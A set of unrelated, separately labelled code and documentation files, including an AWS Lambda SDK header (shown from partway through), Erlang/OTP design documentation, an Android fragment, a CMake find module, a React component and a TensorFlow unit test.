     * authentication to create a public endpoint. For more information, see  Security and
     * auth model for Lambda function URLs.

     */
    inline void SetAuthType(const FunctionUrlAuthType& value) { m_authTypeHasBeenSet = true; m_authType = value; }

    /**
     *
The type of authentication that your function URL uses. Set to
     * AWS_IAM if you want to restrict access to authenticated
     * IAM users only. Set to NONE if you want to bypass IAM
     * authentication to create a public endpoint. For more information, see  Security and
     * auth model for Lambda function URLs.

     */
    inline void SetAuthType(FunctionUrlAuthType&& value) { m_authTypeHasBeenSet = true; m_authType = std::move(value); }

    /**
     *
The type of authentication that your function URL uses. Set to
     * AWS_IAM if you want to restrict access to authenticated
     * IAM users only. Set to NONE if you want to bypass IAM
     * authentication to create a public endpoint. For more information, see  Security and
     * auth model for Lambda function URLs.

     */
    inline FunctionUrlConfig& WithAuthType(const FunctionUrlAuthType& value) { SetAuthType(value); return *this;}

    /**
     *
The type of authentication that your function URL uses. Set to
     * AWS_IAM if you want to restrict access to authenticated
     * IAM users only. Set to NONE if you want to bypass IAM
     * authentication to create a public endpoint. For more information, see  Security and
     * auth model for Lambda function URLs.

     */
    inline FunctionUrlConfig& WithAuthType(FunctionUrlAuthType&& value) { SetAuthType(std::move(value)); return *this;}

  private:

    Aws::String m_functionUrl;
    bool m_functionUrlHasBeenSet;

    Aws::String m_functionArn;
    bool m_functionArnHasBeenSet;

    Aws::String m_creationTime;
    bool m_creationTimeHasBeenSet;

    Aws::String m_lastModifiedTime;
    bool m_lastModifiedTimeHasBeenSet;

    Cors m_cors;
    bool m_corsHasBeenSet;

    FunctionUrlAuthType m_authType;
    bool m_authTypeHasBeenSet;
  };

} // namespace Model
} // namespace Lambda
} // namespace Aws


text:
<?xml version="1.0" encoding="ascii"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
          "DTD/xhtml1-transitional.dtd">

  <title>QGIS-AIMS-Plugin.Test.Address_Test.Test_1_AddressTestSetters</title>
  <link rel="stylesheet" href="epydoc.css" type="text/css" />

         Home

         Trees

         Indices

         Help

        Package QGIS-AIMS-Plugin ::
        Package Test ::
        Module Address_Test ::
        Class Test_1_AddressTestSetters

[hide private]

[frames] | no frames]

Class Test_1_AddressTestSetters

source code

unittest.TestCase --+
                    |
                   Test_1_AddressTestSetters

        Instance Methods
        [hide private]

          setUp(self)

            source code

          tearDown(self)

            source code

          test10_instSetters(self)

      Tests that all the setters set a matching attribute i.e.

            source code

          test30_checkPopulatedAddressChangeDict(self)

      Tests whether JSON object gets created correctly

            source code

          test31_checkAddressDictNullRemoval(self)

      check whether JSON output is truncated correctly on null inputs

            source code

          test32_checkAddressDictErrorRaisedOnNull(self)

      Check error raised if attempt to create JSON output on null address
      array

            source code

          _generateAttrVal(self,
        setmthd)

            source code

          _generateAttrName(self,
        setmthd)

            source code

          _special(self,
        meth)

            source code

        Method Details
        [hide private]

test10_instSetters(self)

  	source code

Tests that all the setters set a matching attribute i.e.
  setAttribute("X") -> self._Attribute = "X"

         Home

         Trees

         Indices

         Help

    Generated by Epydoc 3.0.1 on Tue Jun 14 13:29:18 2016

      http://epydoc.sourceforge.net


text:
version: "0.22"
category: "Advanced Topics"
title: "Scaling Strategies (deprecated)"
info: "NOTE: This page has been moved. Please click here if you're not automatically redirected. Have a nice day!"
---

<meta http-equiv="refresh" content="1;url=installation-summary">


text:
#ifndef	__THG_GRP_H
#define	__THG_GRP_H

#if defined USE_SYSTEM_PWD_GRP
#include <grp.h>
#define tlg_setgrent setgrent
#define tlg_endgrent endgrent
#define tlg_getgrent getgrent
#define tlg_getgrgid getgrgid
#define tlg_getgrnam getgrnam
#define tlg_fgetgrent fgetgrent
#define tlg_setgroups setgroups
#define tlg_initgroups initgroups
#define __tlg_getgrent __getgrent
#else

#include <sys/types.h>
#include <features.h>
#include <stdio.h>

/* The group structure */
struct group
{
  char *gr_name;		/* Group name.	*/
  char *gr_passwd;		/* Password.	*/
  gid_t gr_gid;			/* Group ID.	*/
  char **gr_mem;		/* Member list.	*/
};

extern void tlg_setgrent __P ((void));
extern void tlg_endgrent __P ((void));
extern struct group * tlg_getgrent __P ((void));

extern struct group * tlg_getgrgid __P ((__const gid_t gid));
extern struct group * tlg_getgrnam __P ((__const char * name));

extern struct group * tlg_fgetgrent __P ((FILE * file));

extern int tlg_setgroups __P ((size_t n, __const gid_t * groups));
extern int tlg_initgroups __P ((__const char * user, gid_t gid));

extern struct group * __tlg_getgrent __P ((int grp_fd));

#endif /* USE_SYSTEM_PWD_GRP */
#endif /* _GRP_H */


text:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE chapter SYSTEM "chapter.dtd">

<chapter>

    <copyright>
      <year>1997</year><year>2013</year>
      <holder>Ericsson AB. All Rights Reserved.</holder>
    </copyright>
    <legalnotice>
      The contents of this file are subject to the Erlang Public License,
      Version 1.1, (the "License"); you may not use this file except in
      compliance with the License. You should have received a copy of the
      Erlang Public License along with this software. If not, it can be
      retrieved online at http://www.erlang.org/.

      Software distributed under the License is distributed on an "AS IS"
      basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See
      the License for the specific language governing rights and limitations
      under the License.

    </legalnotice>

    <title>Overview</title>
    <prepared></prepared>
    <docno></docno>
    <date></date>
    <rev></rev>
    <file>des_princ.xml</file>

The OTP Design Principles is a set of principles for how
    to structure Erlang code in terms of processes, modules and
    directories.

    <title>Supervision Trees</title>

A basic concept in Erlang/OTP is the supervision tree.
      This is a process structuring model based on the idea of
      workers and supervisors.

    <list type="bulleted">
      <item>Workers are processes which perform computations, that is,
       they do the actual work.</item>
      <item>Supervisors are processes which monitor the behaviour of
       workers. A supervisor can restart a worker if something goes
       wrong.</item>
      <item>The supervision tree is a hierarchical arrangement of
       code into supervisors and workers, making it possible to
       design and program fault-tolerant software.</item>
    </list>
    <marker id="sup6"></marker>
    <image file="../design_principles/sup6.gif">
      <icaption>Supervision Tree</icaption>
    </image>

In the figure above, square boxes represents supervisors and
      circles represent workers.

    <title>Behaviours</title>

In a supervision tree, many of the processes have similar
      structures, they follow similar patterns. For example,
      the supervisors are very similar in structure. The only difference
      between them is which child processes they supervise. Also, many
      of the workers are servers in a server-client relation, finite
      state machines, or event handlers such as error loggers.

Behaviours are formalizations of these common patterns.
      The idea is to divide the code for a process in a generic part
      (a behaviour module) and a specific part (a callback module).

The behaviour module is part of Erlang/OTP. To implement a
      process such as a supervisor, the user only has to implement
      the callback module which should export a pre-defined set of
      functions, the callback functions.

An example to illustrate how code can be divided into a generic
      and a specific part: Consider the following code (written in
      plain Erlang) for a simple server, which keeps track of a number
      of "channels". Other processes can allocate and free the channels
      by calling the functions <c>alloc/0</c> and <c>free/1</c>,
      respectively.

    <marker id="ch1"></marker>

-module(ch1).
-export([start/0]).
-export([alloc/0, free/1]).
-export([init/0]).

start() ->
    spawn(ch1, init, []).

alloc() ->
    ch1 ! {self(), alloc},
    receive
        {ch1, Res} ->
            Res
    end.

free(Ch) ->
    ch1 ! {free, Ch},
    ok.

init() ->
    register(ch1, self()),
    Chs = channels(),
    loop(Chs).

loop(Chs) ->
    receive
        {From, alloc} ->
            {Ch, Chs2} = alloc(Chs),
            From ! {ch1, Ch},
            loop(Chs2);
        {free, Ch} ->
            Chs2 = free(Ch, Chs),
            loop(Chs2)
    end.

The code for the server can be rewritten into a generic part
      <c>server.erl</c>:

-module(server).
-export([start/1]).
-export([call/2, cast/2]).
-export([init/1]).

start(Mod) ->
    spawn(server, init, [Mod]).

call(Name, Req) ->
    Name ! {call, self(), Req},
    receive
        {Name, Res} ->
            Res
    end.

cast(Name, Req) ->
    Name ! {cast, Req},
    ok.

init(Mod) ->
    register(Mod, self()),
    State = Mod:init(),
    loop(Mod, State).

loop(Mod, State) ->
    receive
        {call, From, Req} ->
            {Res, State2} = Mod:handle_call(Req, State),
            From ! {Mod, Res},
            loop(Mod, State2);
        {cast, Req} ->
            State2 = Mod:handle_cast(Req, State),
            loop(Mod, State2)
    end.

and a callback module <c>ch2.erl</c>:

-module(ch2).
-export([start/0]).
-export([alloc/0, free/1]).
-export([init/0, handle_call/2, handle_cast/2]).

start() ->
    server:start(ch2).

alloc() ->
    server:call(ch2, alloc).

free(Ch) ->
    server:cast(ch2, {free, Ch}).

init() ->
    channels().

handle_call(alloc, Chs) ->
    alloc(Chs). % => {Ch,Chs2}

handle_cast({free, Ch}, Chs) ->
    free(Ch, Chs). % => Chs2

Note the following:

    <list type="bulleted">
      <item>The code in <c>server</c> can be re-used to build many
       different servers.</item>
      <item>The name of the server, in this example the atom
      <c>ch2</c>, is hidden from the users of the client functions.
       This means the name can be changed without affecting them.</item>
      <item>The protcol (messages sent to and received from the server)
       is hidden as well. This is good programming practice and allows
       us to change the protocol without making changes to code using
       the interface functions.</item>
      <item>We can extend the functionality of <c>server</c>, without
       having to change <c>ch2</c> or any other callback module.</item>
    </list>

(In <c>ch1.erl</c> and <c>ch2.erl</c> above, the implementation
      of <c>channels/0</c>, <c>alloc/1</c> and <c>free/2</c> has been
      intentionally left out, as it is not relevant to the example.
      For completeness, one way to write these functions are given
      below. Note that this is an example only, a realistic
      implementation must be able to handle situations like running out
      of channels to allocate etc.)

channels() ->
   {_Allocated = [], _Free = lists:seq(1,100)}.

alloc({Allocated, [H|T] = _Free}) ->
   {H, {[H|Allocated], T}}.

free(Ch, {Alloc, Free} = Channels) ->
   case lists:member(Ch, Alloc) of
      true ->
         {lists:delete(Ch, Alloc), [Ch|Free]};
      false ->
         Channels
   end.

Code written without making use of behaviours may be more
      efficient, but the increased efficiency will be at the expense of
      generality. The ability to manage all applications in the system
      in a consistent manner is very important.

Using behaviours also makes it easier to read and understand
      code written by other programmers. Ad hoc programming structures,
      while possibly more efficient, are always more difficult to
      understand.

The module <c>server</c> corresponds, greatly simplified,
      to the Erlang/OTP behaviour <c>gen_server</c>.

The standard Erlang/OTP behaviours are:

    <taglist>
      <tag><seealso marker="gen_server_concepts">gen_server</seealso></tag>
      <item>For implementing the server of a client-server relation.</item>
      <tag><seealso marker="fsm">gen_fsm</seealso></tag>
      <item>For implementing finite state machines.</item>
      <tag><seealso marker="events">gen_event</seealso></tag>
      <item>For implementing event handling functionality.</item>
      <tag><seealso marker="sup_princ">supervisor</seealso></tag>
      <item>For implementing a supervisor in a supervision tree.</item>
    </taglist>

The compiler understands the module attribute
      <c>-behaviour(Behaviour)</c> and issues warnings about
      missing callback functions. Example:

-module(chs3).
-behaviour(gen_server).
...

3> c(chs3).
./chs3.erl:10: Warning: undefined call-back function handle_call/3
{ok,chs3}

    <title>Applications</title>

Erlang/OTP comes with a number of components, each implementing
      some specific functionality. Components are with Erlang/OTP
      terminology called applications. Examples of Erlang/OTP
      applications are Mnesia, which has everything needed for
      programming database services, and Debugger which is used to
      debug Erlang programs. The minimal system based on Erlang/OTP
      consists of the applications Kernel and STDLIB.

The application concept applies both to program structure
      (processes) and directory structure (modules).

The simplest kind of application does not have any processes,
      but consists of a collection of functional modules. Such an
      application is called a library application. An example
      of a library application is STDLIB.

An application with processes is easiest implemented as a
      supervision tree using the standard behaviours.

How to program applications is described in
      <seealso marker="applications">Applications</seealso>.

    <title>Releases</title>

A release is a complete system made out from a subset of
      the Erlang/OTP applications and a set of user-specific
      applications.

How to program releases is described in
      <seealso marker="release_structure">Releases</seealso>.

How to install a release in a target environment is described
      in the chapter about Target Systems in System Principles.

    <title>Release Handling</title>

Release handling is upgrading and downgrading between
      different versions of a release, in a (possibly) running system.
      How to do this is described in
      <seealso marker="release_handling">Release Handling</seealso>.

</chapter>


text:
package de.lukasniemeier.mensa.ui;

import android.animation.Animator;
import android.animation.AnimatorInflater;
import android.animation.AnimatorListenerAdapter;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ListView;
import android.widget.TextView;

import java.util.EnumSet;

import de.lukasniemeier.mensa.R;
import de.lukasniemeier.mensa.model.MealType;
import de.lukasniemeier.mensa.model.Menu;
import de.lukasniemeier.mensa.ui.adapter.CardState;
import de.lukasniemeier.mensa.ui.adapter.MealAdapter;
import de.lukasniemeier.mensa.ui.adapter.OnPageChangeListener;
import de.lukasniemeier.mensa.ui.preference.FilterPreferenceFragment;
import de.lukasniemeier.mensa.utils.Utils;

/**
 * Created on 17.09.13.
 */
public class MenuViewFragment extends Fragment implements OnPageChangeListener {

    public static MenuViewFragment create(Menu menu) {
        MenuViewFragment fragment = new MenuViewFragment();

        Bundle args = new Bundle();
        args.putSerializable(MenuViewFragment.ARG_MENU, menu);
        fragment.setArguments(args);

        return fragment;
    }

    public interface RefreshViewListener {
        public void attachRefreshableView(View target);
        public void removeRefreshableView(View target);
    }

    public static final String ARG_MENU = "ARG_MENU";

    private static final int filterMenuItemId = Utils.generateViewId();

    private RefreshViewListener listener;
    private ListView mealView;
    private MealAdapter mealAdapter;
    private MealContextHandler mealContextHandler;
    private MenuItem filterMenuItem;

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        return inflater.inflate(R.layout.fragment_menu_view, container, false);
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setHasOptionsMenu(true);
    }

    @Override
    public void onAttach(Activity activity) {
        super.onAttach(activity);

        if (activity instanceof RefreshViewListener) {
            this.listener = (RefreshViewListener) activity;
        } else {
            throw new IllegalStateException("Must be attached to instance of " + RefreshViewListener.class.getName());
        }
    }

    @Override
    public void onActivityCreated(Bundle savedInstanceState) {
        super.onActivityCreated(savedInstanceState);

        Menu menu = (Menu) getArguments().getSerializable(ARG_MENU);

        mealView = (ListView) getView().findViewById(R.id.fragment_menu_view);
        TextView mealViewFooter = new TextView(getActivity());
        mealView.addFooterView(mealViewFooter);

        mealAdapter = new MealAdapter(getActivity(), mealViewFooter);
        mealContextHandler = new MealContextHandler(getActivity(), mealAdapter);
        mealView.setAdapter(mealAdapter);
        mealAdapter.addAll(menu.getMeals(), false);

        final Animator first = AnimatorInflater.loadAnimator(getActivity(), R.animator.card_turn_over);
        final Animator second = AnimatorInflater.loadAnimator(getActivity(), R.animator.card_turn_over_2);
        second.addListener(new AnimatorListenerAdapter() {
            @Override
            public void onAnimationEnd(Animator animation) {
                mealView.setEnabled(true);
            }
        });
        mealView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
            @Override
            public void onItemClick(final AdapterView<?> adapterView, final View view, final int i, long l) {
                // pass through MealContextHandler
                mealContextHandler.onItemClick(adapterView, view, i, l);
                mealView.setEnabled(false);
                final CardState<?> state = (CardState<?>) adapterView.getItemAtPosition(i);
                first.setTarget(view);
                first.removeAllListeners();
                first.addListener(new AnimatorListenerAdapter() {
                    @Override
                    public void onAnimationEnd(Animator animation) {
                        state.turn();
                        mealAdapter.notifyDataSetChanged();
                        second.setTarget(view);
                        second.start();
                    }
                });
                first.start();
            }
        });
        mealView.setOnItemLongClickListener(mealContextHandler);
    }

    @Override
    public void onResume() {
        super.onResume();
        listener.attachRefreshableView(mealView);
    }

    @Override
    public void onCreateOptionsMenu(android.view.Menu menu, MenuInflater inflater) {
        super.onCreateOptionsMenu(menu, inflater);
        /*filterMenuItem = menu.findItem(filterMenuItemId);
        if (filterMenuItem == null) {
            int none = android.view.Menu.NONE;
            filterMenuItem = menu.add(none, filterMenuItemId, none, R.string.app_name);
            filterMenuItem.setOnMenuItemClickListener(new MenuItem.OnMenuItemClickListener() {
                @Override
                public boolean onMenuItemClick(MenuItem menuItem) {
                    startActivityForResult(FilterPreferenceFragment.createIntent(getActivity()), 42);
                    return true;
                }
            });
        }*/
    }

    @Override
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        if (requestCode == 42) {
            Log.i("TAGTAG", "" + resultCode);
            mealAdapter.getFilter().filter(EnumSet.<MealType>of(MealType.PORK, MealType.BEEF));
            return;
        }
        super.onActivityResult(requestCode, resultCode, data);
    }

    @Override
    public void onPause() {
        listener.removeRefreshableView(mealView);
        mealContextHandler.finish();
        super.onPause();
    }

    @Override
    public void onPageChange(boolean isShown) {
        if (mealContextHandler != null) {
            mealContextHandler.onPageChange(isShown);
        }
    }
}


text:
#ifndef VCC_H
#define VCC_H

#include "libical_vcal_export.h"
#include "vobject.h"

#if defined(__CPLUSPLUS__) || defined(__cplusplus)
extern "C"
{
#endif

    typedef void (*MimeErrorHandler) (char *);

    LIBICAL_VCAL_EXPORT void registerMimeErrorHandler(MimeErrorHandler);

    LIBICAL_VCAL_EXPORT VObject *Parse_MIME(const char *input, unsigned long len);

    LIBICAL_VCAL_EXPORT VObject *Parse_MIME_FromFileName(char *fname);

/* NOTE regarding Parse_MIME_FromFile
The function above, Parse_MIME_FromFile, comes in two flavors,
neither of which is exported from the DLL. Each version takes
a CFile or FILE* as a parameter, neither of which can be
passed across a DLL interface (at least that is my experience).
If you are linking this code into your build directly then
you may find them a more convenient API that the other flavors
that take a file name. If you use them with the DLL LIB you
will get a link error.
*/

#ifdef INCLUDEMFC
    LIBICAL_VCAL_EXPORT VObject *Parse_MIME_FromFile(CFile * file);
#else
    LIBICAL_VCAL_EXPORT VObject *Parse_MIME_FromFile(FILE * file);
#endif

#if defined(__CPLUSPLUS__) || defined(__cplusplus)
}

#endif

#endif /* VCC_H */


text:
FIND_PATH(NVTT_INCLUDE_DIR nvtt/nvtt.h
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES include
)

# NVTT
FIND_LIBRARY(NVTT_LIBRARY
  NAMES nvtt
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES lib64 lib lib/shared lib/static lib64/static
)

FIND_LIBRARY(NVTT_LIBRARY_DEBUG
  NAMES nvtt_d
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES lib64 lib lib/shared lib/static lib64/static
)

# NVIMAGE
FIND_LIBRARY(NVIMAGE_LIBRARY
  NAMES nvimage
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES lib64 lib lib/shared lib/static lib64/static
)

FIND_LIBRARY(NVIMAGE_LIBRARY_DEBUG
  NAMES nvimage_d
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES lib64 lib lib/shared lib/static lib64/static
)

# NVMATH
FIND_LIBRARY(NVMATH_LIBRARY
  NAMES nvmath
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES lib64 lib lib/shared lib/static lib64/static
)

FIND_LIBRARY(NVMATH_LIBRARY_DEBUG
  NAMES nvmath_d
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES lib64 lib lib/shared lib/static lib64/static
)

# NVCORE
FIND_LIBRARY(NVCORE_LIBRARY
  NAMES nvcore
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES lib64 lib lib/shared lib/static lib64/static
)
FIND_LIBRARY(NVCORE_LIBRARY_DEBUG
  NAMES nvcore_d
  PATHS
  /usr/local
  /usr
  $ENV{NVTT_DIR}
  ${3rdPartyRoot}
  PATH_SUFFIXES lib64 lib lib/shared lib/static lib64/static
)

SET(NVTT_FOUND "NO")
IF(NVTT_LIBRARY AND NVTT_INCLUDE_DIR)
  SET(NVTT_FOUND "YES")
ENDIF(NVTT_LIBRARY AND NVTT_INCLUDE_DIR)


text:
import React, { useState, useRef } from 'react';
import { useDebounce } from 'react-use';
import PropTypes from 'prop-types';
import cn from 'classnames';

import TextInput from 'common/form/TextInput';
import commonStyles from './styles.module.css';

const Text = ({
  page,
  title,
  description,
  dataKey,
  required,
  defaultValue,
  value,
  onChange,
  onConfirm,
  onSelect,
  search,
  warning,
  validator,
  placeholder,
}) => {
  const [items, setItems] = useState([]);
  const ref = useRef(null);

  useDebounce(
    async () => {
      let items;
      if (value && search) {
        try {
          items = await search(value);
        } catch (err) {
          items = [];
        }
      } else {
        items = [];
      }
      if (ref.current) {
        setItems(items);
      }
    },
    300,
    [value],
  );

  return (

        <TextInput
          ref={ref}
          type="text"
          placeholder={placeholder}
          value={value}
          onChange={e => onChange(e.target.value)}
          onEnter={e => {
            e.target.blur();
            onConfirm(e);
          }}
          autocompleteItems={items}
          onAutocompleteItemSelected={item => {
            onChange(item);
            if (onSelect) {
              onSelect(item);
            }
          }}
        />

          {warning}

  );
};

Text.propTypes = {
  page: PropTypes.number.isRequired,
  title: PropTypes.oneOfType([PropTypes.string, PropTypes.func]).isRequired,
  description: PropTypes.string,
  dataKey: PropTypes.string.isRequired,
  required: PropTypes.bool,
  defaultValue: PropTypes.oneOfType([PropTypes.string, PropTypes.func])
    .isRequired,
  value: PropTypes.string.isRequired,
  onChange: PropTypes.func.isRequired,
  onConfirm: PropTypes.func.isRequired,
  onSelect: PropTypes.func,
  search: PropTypes.func,
  warning: PropTypes.string,
  validator: PropTypes.func,
  placeholder: PropTypes.string,
};

export default Text;


text:
#include "tensorflow/core/lib/monitoring/export_registry.h"

#include "tensorflow/core/platform/test.h"

namespace tensorflow {
namespace monitoring {
namespace {

TEST(ExportRegistryTest, RegistrationUnregistration) {
  auto* export_registry = ExportRegistry::Default();
  const MetricDef<MetricKind::CUMULATIVE, int64, 0> metric_def0(
      "/tensorflow/metric0", "An example metric with no labels.");
  const MetricDef<MetricKind::GAUGE, double, 1> metric_def1(
      "/tensorflow/metric1", "An example metric with one label.", "LabelName");

  {
    // Enclosed in a scope so that we unregister before the stack variables
    // above are destroyed.

    std::unique_ptr<ExportRegistry::RegistrationHandle> handle0 =
        export_registry->Register(&metric_def0);
    std::unique_ptr<ExportRegistry::RegistrationHandle> handle1 =
        export_registry->Register(&metric_def1);

    handle0.reset();

    // Able to register again because it was unregistered earlier.
    handle0 = export_registry->Register(&metric_def0);
  }
}

TEST(ExportRegistryDeathTest, DuplicateRegistration) {
  auto* export_registry = ExportRegistry::Default();
  const MetricDef<MetricKind::CUMULATIVE, int64, 0> metric_def(
      "/tensorflow/metric", "An example metric with no labels.");

  auto handle = export_registry->Register(&metric_def);
  EXPECT_DEATH(
      { auto duplicate_handle = export_registry->Register(&metric_def); },
      "/tensorflow/metric");
}

}  // namespace
}  // namespace monitoring
}  // namespace tensorflow